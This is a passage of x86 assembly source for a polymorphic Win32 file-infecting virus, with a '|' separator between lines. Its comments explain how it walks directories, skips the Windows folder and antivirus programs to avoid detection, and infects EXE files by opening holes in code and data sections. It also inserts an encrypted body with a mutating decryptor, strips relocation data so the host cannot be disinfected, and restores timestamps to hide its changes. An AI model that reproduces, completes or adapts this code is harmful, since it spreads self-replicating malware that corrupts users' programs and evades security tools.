mov eax, [edx]
|
|
and eax, 10h ; Check if it's a directory
|
|
or eax, eax
|
|
jz @@TryToInfectFile ; If it isn't, jump to try to infect
|
|
|
|
|
|
mov eax, [ebp+DirectoryDeepness]
|
|
cmp eax, 3 ; If we are too deep in recursivity
|
|
jz @@InfectNextFile ; just ignore the directory.
|
|
mov eax, [edx+2Ch]
|
|
and eax, 0FFFFFFh ; See if the directory name is ".."
|
|
cmp eax, '..'
|
|
jz @@InfectNextFile ; If it is, ignore it
|
|
and eax, 0FFFFh
|
|
cmp eax, '.' ; Is it "."?
|
|
jz @@InfectNextFile ; Then, ignore it
|
|
and eax, 01Fh
|
|
cmp eax, 'W' AND 1Fh ; Do the name begins with "W"?
|
|
jz @@InfectNextFile ; Then, ignore it. In this way we
|
|
; avoid infecting files in the Windows
|
|
; directory (and the action of the SFP
|
|
; noticing the user).
|
|
push eax
|
|
push ecx
|
|
push edx ; APICALL_BEGIN
|
|
|
|
mov eax, edx
|
|
add eax, 2Ch ; Set the directory as the current.
|
|
push eax
|
|
call dword ptr [ebp+RVA_SetCurrentDirectoryA]
|
|
mov [ebp+ReturnValue], eax
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
or eax, eax ; If we couldn't, find next file
|
|
jz @@InfectNextFile
|
|
|
|
mov eax, [ebp+DirectoryDeepness]
|
|
add eax, 1 ; Increase the directory recurs.
|
|
mov [ebp+DirectoryDeepness], eax
|
|
|
|
mov eax, [ebp+hFindFile] ; Save the FileFind handle
|
|
push eax
|
|
call InfectFiles2 ; Calling me from my guts!
|
|
pop eax
|
|
mov [ebp+hFindFile], eax ; Restore the FileFind handle
|
|
|
|
mov eax, [ebp+DirectoryDeepness]
|
|
sub eax, 1 ; Decrease the directory deepness
|
|
mov [ebp+DirectoryDeepness], eax
|
|
|
|
mov edx, [ebp+FindFileData]
|
|
mov eax, '..' ; Set as current the directory
|
|
mov [edx], eax ; above in the tree. Doing this
|
|
; we avoid to save everytime the name
|
|
push eax ; of the directory we came from.
|
|
push ecx
|
|
push edx
|
|
|
|
mov eax, edx
|
|
push eax ; Set ".." as the current directory
|
|
call dword ptr [ebp+RVA_SetCurrentDirectoryA]
|
|
mov [ebp+ReturnValue], eax
|
|
|
|
pop edx
|
|
pop ecx
|
|
pop eax
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
or eax, eax
|
|
jz @@Error2 ; If error, just finish the infection
|
|
jmp @@InfectNextFile ; If no error, continue
|
|
|
|
;; Here if we found a file
|
|
@@TryToInfectFile:
|
|
xor eax, eax
|
|
call RandomBoolean_X000_3
|
|
;call RandomBoolean ; WEIGHT_X000
|
|
or eax, eax
|
|
jz @@InfectNextFile ; Infect only the 50% of the files
|
|
; but based on our genetic algorithm. By evolution,
|
|
; only the more spreaded or the more stealthy will
|
|
; "survive".
|
|
mov edx, [ebp+FindFileData]
|
|
add edx, 2Ch ; EDX = offset to the file name
|
|
|
|
;; Uncomment this for debugging the virus. With this code the virus will only
|
|
;; infect files starting with "goat"
|
|
; mov eax, [edx]
|
|
; and eax, 1F1F1F1Fh
|
|
; cmp eax, 'taog' AND 1F1F1F1Fh
|
|
; jnz @@InfectNextFile
|
|
|
|
mov eax, [edx] ; Get the two first letters
|
|
and eax, 1F1Fh
|
|
cmp eax, '-F' AND 1F1Fh ; Check for F-PROT
|
|
jz @@InfectNextFile ; If it is, avoid the infection
|
|
cmp eax, 'AP' AND 1F1Fh ; Check for PANDA
|
|
jz @@InfectNextFile
|
|
cmp eax, 'CS' AND 1F1Fh ; Check for SCAN*, SCN*, etc.
|
|
jz @@InfectNextFile
|
|
cmp eax, 'RD' AND 1F1Fh ; Check for DRWEB
|
|
jz @@InfectNextFile
|
|
cmp eax, 'ON' AND 1F1Fh ; Check for NOD-ICE, NORTON, etc.
|
|
jz @@InfectNextFile
|
|
|
|
mov ebx, edx
|
|
@@LoopFindExtension:
|
|
mov eax, [ebx] ; Avoid files with a "V" in the name.
|
|
and eax, 01Fh ; With that we avoid AVP, NAV, and lots
|
|
cmp eax, 'V' AND 1Fh ; of antivirus.
|
|
jz @@InfectNextFile
|
|
or eax, eax
|
|
jz @@CheckExtension
|
|
add ebx, 1
|
|
jmp @@LoopFindExtension
|
|
@@CheckExtension:
|
|
mov eax, [ebx-4] ; Finally, is it an EXE file?
|
|
and eax, 1F1F1FFFh
|
|
cmp eax, 'EXE.' AND 1F1F1FFFh
|
|
jnz @@InfectNextFile ; If not, don't infect!
|
|
|
|
@@InfectFile:
|
|
call TouchFile ; Infect the file with our brand recently
|
|
@@InfectNextFile: ; reassembled code.
|
|
push eax
|
|
push ecx
|
|
push edx ; APICALL_BEGIN
|
|
mov eax, [ebp+FindFileData]
|
|
push eax
|
|
mov eax, [ebp+hFindFile]
|
|
push eax
|
|
call dword ptr [ebp+RVA_FindNextFileA]
|
|
mov [ebp+ReturnValue], eax ; Find the next file/dir of
|
|
pop edx ; the directory
|
|
pop ecx
|
|
pop eax ; APICALL_END
|
|
|
|
mov eax, [ebp+ReturnValue] ; If error, finish
|
|
or eax, eax
|
|
jnz @@TouchAgain
|
|
@@Error2:
|
|
push eax
|
|
push ecx
|
|
push edx ; APICALL_BEGIN
|
|
mov eax, [ebp+hFindFile] ; Close the FindFile handle
|
|
push eax
|
|
call dword ptr [ebp+RVA_FindClose]
|
|
pop edx
|
|
pop ecx
|
|
pop eax ; APICALL_END
|
|
@@Error:
|
|
ret
|
|
InfectFiles2 endp
|
|
|
|
;; This function infects the file. It saves the original attributes, clears
|
|
;; them (removing any read-only setting), opens a mapping of the file and
|
|
;; performs all the operations. After that, it uses the info in the FindFile
|
|
;; data to restore the original date/time, restores the attributes and exits.
|
|
TouchFile proc
|
|
mov [ebp+Addr_FilePath], edx ; Save the file path address
|
|
|
|
push eax
|
|
push ecx
|
|
push edx ; APICALL_BEGIN
|
|
|
|
push edx
|
|
call dword ptr [ebp+RVA_GetFileAttributesA]
|
|
mov [ebp+ReturnValue], eax
|
|
pop edx
|
|
pop ecx
|
|
pop eax ; APICALL_END
|
|
|
|
mov eax, [ebp+ReturnValue] ; If there was an error getting
|
|
cmp eax, -1 ; the attributes just exit
|
|
jz @@Error_
|
|
mov [ebp+FileAttributes], eax ; Save the attributes
|
|
|
|
push eax
|
|
push ecx
|
|
push edx ; APICALL_BEGIN
|
|
push 80h
|
|
mov eax, [ebp+Addr_FilePath] ; Set normal file attributes
|
|
push eax
|
|
call dword ptr [ebp+RVA_SetFileAttributesA]
|
|
mov [ebp+ReturnValue], eax
|
|
pop edx
|
|
pop ecx
|
|
pop eax ; APICALL_END
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
or eax, eax
|
|
jz @@Error_ ; If error, finish
|
|
|
|
push eax
|
|
push ecx
|
|
push edx ; APICALL_BEGIN
|
|
|
|
push 0
|
|
push 0
|
|
push 3 ; OPEN_EXISTING
|
|
push 0
|
|
push 0
|
|
push 0C0000000h ; Generic read & write
|
|
push edx
|
|
call dword ptr [ebp+RVA_CreateFileA] ; Open the file
|
|
mov [ebp+ReturnValue], eax
|
|
pop edx
|
|
pop ecx
|
|
pop eax ; APICALL_END
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
cmp eax, -1 ; If error, finish
|
|
jz @@Error
|
|
mov [ebp+hFile], eax
|
|
|
|
push eax
|
|
push ecx
|
|
push edx ; APICALL_BEGIN
|
|
|
|
push 0
|
|
push eax
|
|
call dword ptr [ebp+RVA_GetFileSize]
|
|
mov [ebp+ReturnValue], eax
|
|
pop edx ; Get the current file size.
|
|
pop ecx
|
|
pop eax ; APICALL_END
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
or eax, eax
|
|
jz @@Error2 ; If error, finish
|
|
mov [ebp+FileSize], eax ; Set the tracking size
|
|
mov [ebp+OriginalFileSize], eax ; Set the original size
|
|
|
|
push eax
|
|
push ecx
|
|
push edx ; APICALL_BEGIN
|
|
|
|
push 0
|
|
add eax, [ebp+RoundedSizeOfNewCode]
|
|
add eax, 1000h ; Maximum size of decryptor
|
|
push eax
|
|
push 0
|
|
push 4 ; PAGE_READWRITE
|
|
push 0
|
|
mov eax, [ebp+hFile] ; Create a file mapping with a
|
|
push eax ; size of original file's size +
|
|
call dword ptr [ebp+RVA_CreateFileMappingA] ; + the new size
|
|
mov [ebp+ReturnValue], eax ; of the virus + the maximum
|
|
pop edx ; size we use for a decryptor
|
|
pop ecx
|
|
pop eax ; APICALL_END
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
or eax, eax
|
|
jz @@Error2 ; If error, just finish
|
|
mov [ebp+hMapping], eax
|
|
|
|
push eax
|
|
push ecx
|
|
push edx ; APICALL_BEGIN
|
|
|
|
push 0
|
|
push 0
|
|
push 0
|
|
push 0F001Fh
|
|
push eax
|
|
call dword ptr [ebp+RVA_MapViewOfFile]
|
|
mov [ebp+ReturnValue], eax
|
|
pop edx ; Map a view of the file mapping
|
|
pop ecx
|
|
pop eax ; APICALL_END
|
|
|
|
mov eax, [ebp+ReturnValue]
|
|
or eax, eax
|
|
jz @@Error3 ; If error, exit
|
|
|
|
mov dword ptr [ebp+MappingAddress], eax ; Set the address
|
|
|
|
; Needed variables:
|
|
; [MappingAddress] = Mapping address of file. The mapping
|
|
; must have the size of the two holes already increased.
|
|
; Return:
|
|
; EAX = 0 if everything is OK,
|
|
; [HeaderAddress] = PE header address
|
|
; [Phys_TextHole] = Physical address of hole in code section
|
|
; [RVA_TextHole] = Virtual address of hole in code section
|
|
; [Phys_DataHole] = Physical address of hole in data section
|
|
; [RVA_DataHole] = Virtual Address of hole in data section
|
|
; [ExitProcessAddress] != 0 if ExitProcess was found and
|
|
; patched to point to the zone the decryptor is going to be.
|
|
; EAX != 0 if something failed
|
|
xor eax, eax ; Initialize the Undo buffer (for
|
|
mov [ebp+NumberOfUndoActions], eax ; undo the changes to
|
|
; the file if we had an error)
|
|
call PrepareFile ; Make the holes
|
|
or eax, eax ; Error?
|
|
jnz @@Error4 ; EAX != 0 if error, so exit
|
|
|
|
mov ebx, [ebp+MappingAddress] ; Get the physical address
|
|
add ebx, [ebp+Phys_TextHole] ; in the mapping where the
|
|
; decryptor must be.
|
|
;;;;;;
|
|
; Now we create the decryptor and we copy the code, which will be unencrypted
|
|
; once in every 16 infections
|
|
;;;;;;
|
|
mov ecx, [ebp+MaxSizeOfDecryptor] ; Get the maximum size
|
|
cmp ecx, 400h ; we can have for the decryptor
|
|
jbe @@SetSizeOfExpansionTo0 ; If it's 400h, set a size of
|
|
mov eax, 1 ; expansion to the Expander of
|
|
call RandomBoolean_X000_3 ; 0 (three recursivity levels).
|
|
or eax, eax
|
|
jz @@SetSizeOfExpansionTo0 ; Also we can select randomly
|
|
; that level instead of a deeper
|
|
; one (genetically!)
|
|
mov eax, -1 ; Set the initial level to -1
|
|
jmp @@SetSizeOfExpansion ; (four levels of recursivity).
|
|
@@SetSizeOfExpansionTo0:
|
|
mov eax, 2
|
|
call RandomBoolean_X000_3 ; Get a random TRUE or FALSE
|
|
; depending on previous
|
|
; generations values.
|
|
or eax, eax ; If FALSE, set only two levels
|
|
jz @@SetSizeOfExpansionTo1 ; of recursivity (set the initial
|
|
xor eax, eax ; level to 1)
|
|
jmp @@SetSizeOfExpansion
|
|
@@SetSizeOfExpansionTo1:
|
|
mov eax, 1
|
|
@@SetSizeOfExpansion:
|
|
mov [ebp+SizeOfExpansion], eax ; Set -1, 0 or 1 (depending
|
|
; on all the conditions above)
|
|
|
|
@@CheckWithOtherSizeOfExpansion:
|
|
mov ecx, 3 ; Set the number of times we'll try
|
|
; to get a decryptor with a size that
|
|
; fits into the maximum size set.
|
|
@@GenerateOther:
|
|
push ecx ; Save the count
|
|
mov edi, [ebp+DecryptorPseudoCode] ; Get the storage addr.
|
|
mov eax, [ebp+VirtualAllocAddress] ; Save this address
|
|
push eax
|
|
call MakeDecryptor ; Make a decryptor for this infection
|
|
pop eax ; Restore this address
|
|
mov [ebp+VirtualAllocAddress], eax
|
|
pop ecx ; Decrease the number of times we
|
|
sub ecx, 1 ; can repeat the decryptor generation
|
|
mov eax, [ebp+SizeOfDecryptor] ; Check the size of the
|
|
cmp eax, [ebp+MaxSizeOfDecryptor] ; new decryptor.
|
|
jbe @@SizeOfDecryptorOK ; If it fits, jump
|
|
or ecx, ecx ; ECX = 0?
|
|
jnz @@GenerateOther ; If not, generate other
|
|
mov eax, [ebp+SizeOfExpansion] ; Check if the size of
|
|
cmp eax, 2 ; expansion is already the minimum.
|
|
jz @@InsertExitProcess ; If it is, insert directly a call
|
|
; to ExitProcess (to make the host run without problems).
|
|
add eax, 1 ; If not, decrease the recursivity
|
|
mov [ebp+SizeOfExpansion], eax ; the expander can make and
|
|
jmp @@CheckWithOtherSizeOfExpansion ; try again.
|
|
|
|
; Here we insert a call to ExitProcess if we couldn't generate a decryptor
|
|
; following our specifications.
|
|
@@InsertExitProcess:
|
|
mov edi, [ebp+Phys_TextHole] ; Get the address for
|
|
add edi, [ebp+MappingAddress] ; code insertion
|
|
mov eax, 6Ah
|
|
mov [edi], eax ; Insert "PUSH 0"
|
|
add edi, 2
|
|
; xor eax, eax
|
|
; mov [edi], eax
|
|
; add edi, 1
|
|
mov eax, 15FFh ; Insert "CALL ExitProcess"
|
|
mov [edi], eax
|
|
add edi, 2
|
|
mov eax, [ebp+ExitProcessAddress]
|
|
mov [edi], eax
|
|
jmp @@Exit
|
|
|
|
@@SizeOfDecryptorOK: ; Now let's copy the decryptor in the
|
|
mov esi, [ebp+AssembledDecryptor] ; hole we made for it.
|
|
mov edi, [ebp+Phys_TextHole]
|
|
add edi, [ebp+MappingAddress]
|
|
mov ecx, [ebp+SizeOfDecryptor]
|
|
@@LoopCopyDecryptor:
|
|
mov eax, [esi] ; Copy the assembled decryptor
|
|
mov [edi], eax
|
|
add esi, 1
|
|
add edi, 1
|
|
dec ecx
|
|
or ecx, ecx
|
|
jnz @@LoopCopyDecryptor
|
|
|
|
mov edx, 10h ; Maximum number of times we can
|
|
; repeat the following:
|
|
mov esi, [ebp+MaxSizeOfDecryptor]
|
|
sub esi, [ebp+SizeOfDecryptor]
|
|
and esi, 0FFFFFFFCh ; Get the remaining size of the
|
|
or esi, esi ; decryptor aligned to DWORDs.
|
|
jz @@ContinueWithTheRest ; If 0, don't make this thing
|
|
@@CheckAgainThePossibility:
|
|
call Random ; Get a random number between 0 and 252
|
|
and eax, 0FCh
|
|
or eax, eax ; If 0, repeat
|
|
jz @@CheckAgainThePossibility
|
|
sub edx, 1 ; Decrease the number of times we can do
|
|
; this again.
|
|
cmp eax, esi ; If the random number is below the
|
|
jb @@FillRandomBytes ; remaining size, go to fill some.
|
|
or edx, edx ; If don't, and we can make it more
|
|
jnz @@CheckAgainThePossibility ; times, get another random
|
|
jmp @@ContinueWithTheRest ; number.
|
|
@@FillRandomBytes:
|
|
mov ecx, eax ; ECX = Number of random bytes to insert
|
|
@@LoopFillRandomBytes:
|
|
call Random
|
|
mov [edi], eax ; Insert a random DWORD
|
|
add edi, 4
|
|
sub ecx, 4
|
|
or ecx, ecx ; Fill it with the random quantity we got
|
|
jnz @@LoopFillRandomBytes ; before
|
|
|
|
@@ContinueWithTheRest:
|
|
mov edi, [ebp+MappingAddress] ; Get the physical address
|
|
add edi, [ebp+Phys_DataHole] ; of the data hole
|
|
cmp edi, [ebp+MappingAddress] ; If it's 0, exit
|
|
jz @@Exit
|
|
mov edx, [ebp+TypeOfEncryption] ; Get the encryption
|
|
mov ebx, [ebp+EncryptionKey] ; operation and the
|
|
mov esi, [ebp+NewAssembledCode] ; address of the new
|
|
mov ecx, [ebp+SizeOfNewCode] ; mutated code
|
|
and ecx, 0FFFFFFFCh
|
|
add ecx, 4 ; Round it
|
|
@@LoopEncryptCode:
|
|
mov eax, [esi]
|
|
or ebx, ebx ; Copy the code and encrypt it
|
|
jz @@NoEncryption ; on the fly
|
|
or edx, edx
|
|
jz @@ADDKey
|
|
cmp edx, 1
|
|
jz @@SUBKey
|
|
@@XORKey:
|
|
xor eax, ebx
|
|
jmp @@StoreDWORD
|
|
@@ADDKey:
|
|
add eax, ebx
|
|
jmp @@StoreDWORD
|
|
@@SUBKey:
|
|
sub eax, ebx
|
|
@@NoEncryption:
|
|
@@StoreDWORD:
|
|
mov [edi], eax ; Store the encrypted (or not)
|
|
add esi, 4 ; DWORDs
|
|
add edi, 4
|
|
sub ecx, 4
|
|
or ecx, ecx
|
|
jnz @@LoopEncryptCode
|
|
xor eax, eax
|
|
mov [edi], eax ; Set a 0 at the end
|
|
|
|
@@Exit: mov ebx, [ebp+HeaderAddress]
|
|
xor eax, eax
|
|
mov [ebx+58h], eax ; Set the infection mark (the CRC of
|
|
; the executable to 0)
|
|
xor edi, edi ; Set "NO_ERROR" flag
|
|
jmp @@NoError
|
|
|
|
;; If the file is already infected or the headers doesn't meet the
|
|
;; required characteristics, we jump here.
|
|
@@Error4: call UndoChanges ; Undo the changes to the file
|
|
mov edi, 1 ; Set "ERROR" flag
|
|
|
|
@@NoError: push eax ; Close the file mapping
|
|
push ecx
|
|
push edx ; APICALL_BEGIN
|
|
mov eax, [ebp+MappingAddress]
|
|
push eax
|
|
call dword ptr [ebp+RVA_UnmapViewOfFile]
|
|
pop edx
|
|
pop ecx
|
|
pop eax ; APICALL_END
|
|
jmp @@NoError3
|
|
|
|
;; We jump here if we failed while mapping a view of the file in memory
|
|
@@Error3: mov edi, 1 ; Set "ERROR" flag
|
|
@@NoError3:
|
|
push eax ; Close the handle of the file mapping
|
|
push ecx
|
|
push edx ; APICALL_BEGIN
|
|
mov eax, [ebp+hMapping]
|
|
push eax
|
|
call dword ptr [ebp+RVA_CloseHandle]
|
|
pop edx
|
|
pop ecx
|
|
pop eax ; APICALL_END
|
|
jmp @@NoError2
|
|
|
|
;; Jump here if we failed while creating a file mapping object
|
|
@@Error2: mov edi, 1 ; Set "ERROR" flag
|
|
@@NoError2:
|
|
push eax ; Let's truncate the file: we set it
|
|
push ecx ; to the original size again if we
|
|
push edx ; failed to infect
|
|
xor eax, eax
|
|
push eax ; push 0
|
|
push eax ; push 0
|
|
or edi, edi
|
|
jnz @@ThereWasAnError
|
|
mov eax, [ebp+FileSize]
|
|
jmp @@FixSize
|
|
@@ThereWasAnError:
|
|
mov eax, [ebp+OriginalFileSize]
|
|
@@FixSize: push eax
|
|
mov eax, [ebp+hFile]
|
|
push eax
|
|
call dword ptr [ebp+RVA_SetFilePointer]
|
|
pop edx
|
|
pop ecx
|
|
pop eax ; APICALL_END
|
|
|
|
push eax ; Truncate the file
|
|
push ecx
|
|
push edx ; APICALL_BEGIN
|
|
mov eax, [ebp+hFile]
|
|
push eax
|
|
call dword ptr [ebp+RVA_SetEndOfFile]
|
|
pop edx
|
|
pop ecx
|
|
pop eax ; APICALL_END
|
|
|
|
@@DontFixSize:
|
|
push eax ; Restore the original file time from
|
|
push ecx ; the data stored at the FindFile struct
|
|
push edx ; APICALL_BEGIN
|
|
|
|
mov eax, [ebp+FindFileData]
|
|
add eax, 14h
|
|
push eax
|
|
sub eax, 8
|
|
push eax
|
|
sub eax, 8
|
|
push eax
|
|
mov eax, [ebp+hFile]
|
|
push eax
|
|
call dword ptr [ebp+RVA_SetFileTime]
|
|
pop edx
|
|
pop ecx
|
|
pop eax ; APICALL_END
|
|
|
|
push eax ; Close the file handle
|
|
push ecx
|
|
push edx ; APICALL_BEGIN
|
|
mov eax, [ebp+hFile]
|
|
push eax
|
|
call dword ptr [ebp+RVA_CloseHandle]
|
|
pop edx
|
|
pop ecx
|
|
pop eax ; APICALL_END
|
|
|
|
@@Error: push eax ; Restore the file attributes
|
|
push ecx
|
|
push edx ; APICALL_BEGIN
|
|
mov eax, [ebp+FileAttributes]
|
|
push eax
|
|
mov eax, [ebp+Addr_FilePath]
|
|
push eax
|
|
call dword ptr [ebp+RVA_SetFileAttributesA]
|
|
pop edx
|
|
pop ecx
|
|
pop eax ; APICALL_END
|
|
@@Error_: ret
|
|
TouchFile endp
|
|
|
|
|
|
;;; This is the main function to make holes. This function is capable of
|
|
;;; support two types of holes, being the first situated at .text or CODE
|
|
;;; section. The code can be easily modified to situate the holes at the end
|
|
;;; of other sections, but the current action is more stealthy. After this,
|
|
;;; if we remove .reloc section from the executable, we can't know how the
|
|
;;; host was before, so disinfection is nearly impossible.
|
|
PrepareFile proc
|
|
mov eax, [ebp+MappingAddress]
|
|
mov ebx, [eax]
|
|
and ebx, 0FFFFh
|
|
cmp ebx, 0+'ZM' ; Get the header. If the standard
|
|
jnz @@Error ; win32 executable marks don't
|
|
mov ebx, [eax+18h] ; exist ("MZ" and "PE") we finish
|
|
and ebx, 0FFh ; with error (of course)
|
|
cmp ebx, 40h
|
|
jnz @@Error
|
|
mov ebx, [eax+3Ch]
|
|
add ebx, eax
|
|
mov ecx, [ebx]
|
|
cmp ecx, 0+'EP'
|
|
jnz @@Error
|
|
|
|
mov [ebp+HeaderAddress], ebx
|
|
|
|
mov ecx, [ebx+58h] ; Get the file checksum at the
|
|
or ecx, ecx ; header. if it's 0, it's already
|
|
jz @@Error ; infected.
|
|
|
|
mov ecx, [ebx+4] ; Get the type of executable
|
|
and ecx, 0FFFFh
|
|
cmp ecx, 014Ch ; x86?
|
|
jz @@IA32 ; If so, jump to IA-32 infection
|
|
|
|
;; PE32+ for IA64 ; Reserved for future release (v2)
|
|
jmp @@Error ; Exit and finish
|
|
; You can think: what's the point of making this check? The reason is that
|
|
; nowadays is more easy to find a server or a home PC with a FTP or HTTP
|
|
; server with files to get, and there are many of them that are for other
|
|
; types of processors, so better if we check the processor type. And, in the
|
|
; future, we'll have new processors like IA-64 (Itanium) and maybe others.
|
|
|
|
;; PE32 for x86
|
|
@@IA32: mov ecx, [ebx+6] ; Get the number of sections in the
|
|
and ecx, 0FFFFh ; executable.
|
|
; ECX = Number of sections
|
|
mov edx, [ebx+14h] ; Get the start address of the
|
|
and edx, 0FFFFh ; sections.
|
|
add edx, 18h
|
|
add edx, ebx
|
|
mov [ebp+StartOfSectionHeaders], edx
|
|
xor eax, eax ; Initialize the interesting
|
|
mov [ebp+RelocHeader], eax ; sections addresses.
|
|
mov [ebp+TextHeader], eax
|
|
mov [ebp+DataHeader], eax
|
|
|
|
@@LoopSections:
|
|
mov eax, [edx] ; Get the name of the section in the
|
|
mov esi, [edx+4] ; pair EAX-ESI
|
|
cmp eax, 'ler.' ; Is the name ".reloc"?
|
|
jnz @@LookForCode
|
|
cmp esi, 0+'co'
|
|
jnz @@NextSection
|
|
mov [ebp+RelocHeader], edx ; Then, set the address
|
|
jmp @@NextSection
|
|
@@LookForCode:
|
|
cmp eax, 'xet.' ; Is the name ".text"?
|
|
jnz @@LookForCode2
|
|
cmp esi, 0+'t'
|
|
jnz @@NextSection
|
|
mov [ebp+TextHeader], edx ; Then, set the address of the
|
|
jmp @@NextSection ; code header
|
|
@@LookForCode2:
|
|
cmp eax, 'EDOC' ; Is the name "CODE"?
|
|
jnz @@LookForData
|
|
or esi, esi
|
|
jnz @@NextSection
|
|
mov [ebp+TextHeader], edx ; Then set the address of the
|
|
jmp @@NextSection ; code header
|
|
@@LookForData:
|
|
cmp eax, 'tad.' ; Is the name ".data"?
|
|
jnz @@LookForData2
|
|
cmp esi, 0+'a'
|
|
jnz @@NextSection
|
|
mov [ebp+DataHeader], edx ; Then set the address of the
|
|
jmp @@NextSection ; data header
|
|
@@LookForData2:
|
|
cmp eax, 'ATAD' ; Is the name "DATA"?
|
|
jnz @@LookForData3
|
|
or esi, esi
|
|
jnz @@NextSection
|
|
mov [ebp+DataHeader], edx ; Then set the address of the
|
|
jmp @@NextSection ; data header
|
|
@@LookForData3:
|
|
|
|
@@NextSection:
|
|
mov [ebp+LastHeader], edx ; Set the last header
|
|
add edx, 28h ; Next header
|
|
dec ecx ; If it wasn't the last one,
|
|
or ecx, ecx ; continue checking
|
|
jnz @@LoopSections
|
|
|
|
xor eax, eax ; Initialize the addresses that
|
|
mov [ebp+ExitProcessAddress], eax ; we need for making
|
|
mov [ebp+VirtualAllocAddress], eax ; a correct infection
|
|
mov [ebp+GetProcAddressAddress], eax
|
|
mov [ebp+GetModuleHandleAddress], eax
|
|
|
|
mov eax, [ebp+TextHeader] ; If we haven't retrieved a
|
|
or eax, eax ; code or data section, we
|
|
jz @@Error ; exit with error
|
|
mov eax, [ebp+DataHeader]
|
|
or eax, eax
|
|
jz @@Error
|
|
mov eax, [ebp+RelocHeader] ; IF we have .reloc section,
|
|
or eax, eax ; we'll make section shifting.
|
|
jz @@NoRelocs ; If not, try another alternative method.
|
|
|
|
mov eax, 3
|
|
call RandomBoolean_X000_3
|
|
or eax, eax ; Although there is .reloc section, don't
|
|
jz @@NoRelocs2 ; make that infection always. Doing this,
|
|
; we have a not fixed way of infecting.
|
|
; Moreover, it's selected by our genetic algorithm,
|
|
; which makes that if it's not viable (i.e. it's
|
|
; more detected) the probability is lower.
|
|
|
|
;; Now we are going to make section shifting. We use the relocation section
|
|
;; to update all the pointers that point to data that is going to be shifted
|
|
;; down,
|
|
|
|
mov eax, [ebp+RelocHeader]
|
|
cmp eax, [ebp+LastHeader]
|
|
jnz @@Error ; Avoid .reloc section in the middle
|
|
|
|
;; Everything is OK to start!
|
|
mov eax, 1 ; Mark that we are doing the hole
|
|
mov [ebp+MakingFirstHole], eax ; at the code section
|
|
mov esi, [ebp+TextHeader]
|
|
mov ecx, 1000h ; Maximum size of decryptor
|
|
call UpdateHeaders ; Make the hole.
|
|
; Returns:
|
|
; ECX = Unchanged
|
|
; EAX = Physical offset of created hole, or NULL if error
|
|
; EDI = RVA of hole
|
|
mov [ebp+RVA_TextHole], edi
|
|
mov [ebp+Phys_TextHole], eax
|
|
mov [ebp+TextHoleSize], ecx
|
|
|
|
mov eax, [ebp+ExitProcessAddress]
|
|
or eax, eax ; If ExitProcess is not imported by the
|
|
jz @@Error ; host, finish (undoing the changes)
|
|
; mov eax, [ebp+VirtualAllocAddress]
|
|
; or eax, eax
|
|
; jz @@Error
|
|
mov eax, [ebp+GetProcAddressAddress]
|
|
or eax, eax ; Check the import of the GetProcAddress.
|
|
jz @@Error ; If it's not imported, error
|
|
mov eax, [ebp+GetModuleHandleAddress]
|
|
or eax, eax ; If the host doesn't import GetModuleHandle,
|
|
jz @@Error ; finish with error
|
|
|
|
mov ebx, [ebp+HeaderAddress]
|
|
add [ebx+1Ch], ecx ; Add the size of the hole to
|
|
; the size of code in the exec.
|
|
; header
|
|
add [ebp+FileSize], ecx ; Add it to the track size too.
|
|
|
|
xor eax, eax ; Set that we are making
|
|
mov [ebp+MakingFirstHole], eax ; the second hole.
|
|
mov esi, [ebp+DataHeader]
|
|
mov ecx, [ebp+RoundedSizeOfNewCode]
|
|
call UpdateHeaders ; Make the data hole
|
|
mov [ebp+RVA_DataHole], edi ; Set the physical and
|
|
mov [ebp+Phys_DataHole], eax ; virtual addresses.
|
|
|
|
mov ebx, [ebp+HeaderAddress] ; Now we are going to update
|
|
; the addresses of the
|
|
mov eax, [ebp+ExitProcessAddress] ; functions. We don't
|
|
add eax, [ebx+34h] ; need to check that
|
|
mov [ebp+ExitProcessAddress], eax ; they have a value
|
|
; because we know that they
|
|
mov eax, [ebp+GetProcAddressAddress] ; have it. If not,
|
|
add eax, [ebx+34h] ; we had exited when
|
|
mov [ebp+GetProcAddressAddress], eax ; making the first
|
|
; hole (the code hole)
|
|
mov eax, [ebp+GetModuleHandleAddress]
|
|
add eax, [ebx+34h]
|
|
mov [ebp+GetModuleHandleAddress], eax
|
|
|
|
mov eax, [ebp+VirtualAllocAddress]
|
|
or eax, eax ; If we have VirtualAlloc
|
|
jz @@DontAddBaseAddress ; available, update it also
|
|
add eax, [ebp+34h]
|
|
mov [ebp+VirtualAllocAddress], eax
|
|
@@DontAddBaseAddress:
|
|
add [ebx+20h], ecx ; Increase the virtual size
|
|
add [ebp+FileSize], ecx ; of the data in the file and
|
|
; the file size itself
|
|
mov esi, [ebp+RelocHeader]
|
|
mov eax, [esi+0Ch]
|
|
mov [ebx+50h], eax ; Set the new image size of
|
|
; the executable.
|
|
mov edi, [esi+14h]
|
|
mov ecx, [ebp+FileSize] ; Now set the physical size of
|
|
sub ecx, edi ; the file in the FileSize var,
|
|
mov [ebp+FileSize], edi ; so when closing the file
|
|
; mapping we'll set the new
|
|
; physical size (i.e. eliminate
|
|
; the .reloc section).
|
|
add edi, [ebp+MappingAddress]
|
|
xor eax, eax ; Fill with 0s the .reloc
|
|
@@Loop0: mov [edi], eax ; section
|
|
add edi, 4
|
|
sub ecx, 4
|
|
or ecx, ecx
|
|
jnz @@Loop0
|
|
|
|
mov ecx, 28h ; Now eliminate the .reloc header in
|
|
@@Loop1: mov [esi], eax ; the PE header
|
|
add esi, 4
|
|
sub ecx, 4
|
|
or ecx, ecx
|
|
jnz @@Loop1
|
|
|
|
mov [ebx+0A0h], eax ; Eliminate the relocation entry in
|
|
mov [ebx+0A4h], eax ; the list of directories
|
|
|
|
mov eax, [ebx+06h] ; Decrease the number of sections
|
|
sub eax, 1
|
|
mov [ebx+06h], eax
|
|
mov eax, [ebx+16h] ; Set that the reloc info has been
|
|
or eax, 1 ; stripped from the file
|
|
mov [ebx+16h], eax
|
|
|
|
mov eax, 1000h ; Set the maximum size of the decryptor
|
|
mov [ebp+MaxSizeOfDecryptor], eax ; to 1000h (the maximum
|
|
; size we use for it)
|
|
xor eax, eax ; Set "ALL OK" on returning
|
|
ret
|
|
@@Error:
|
|
mov eax, 1 ; Set "ERROR"!
|
|
ret
|
|
|
|
;; This code is reached when the .reloc section exists, but we want to make
|
|
;; an infection as if there isn't a .reloc section. In this way the behaviour
|
|
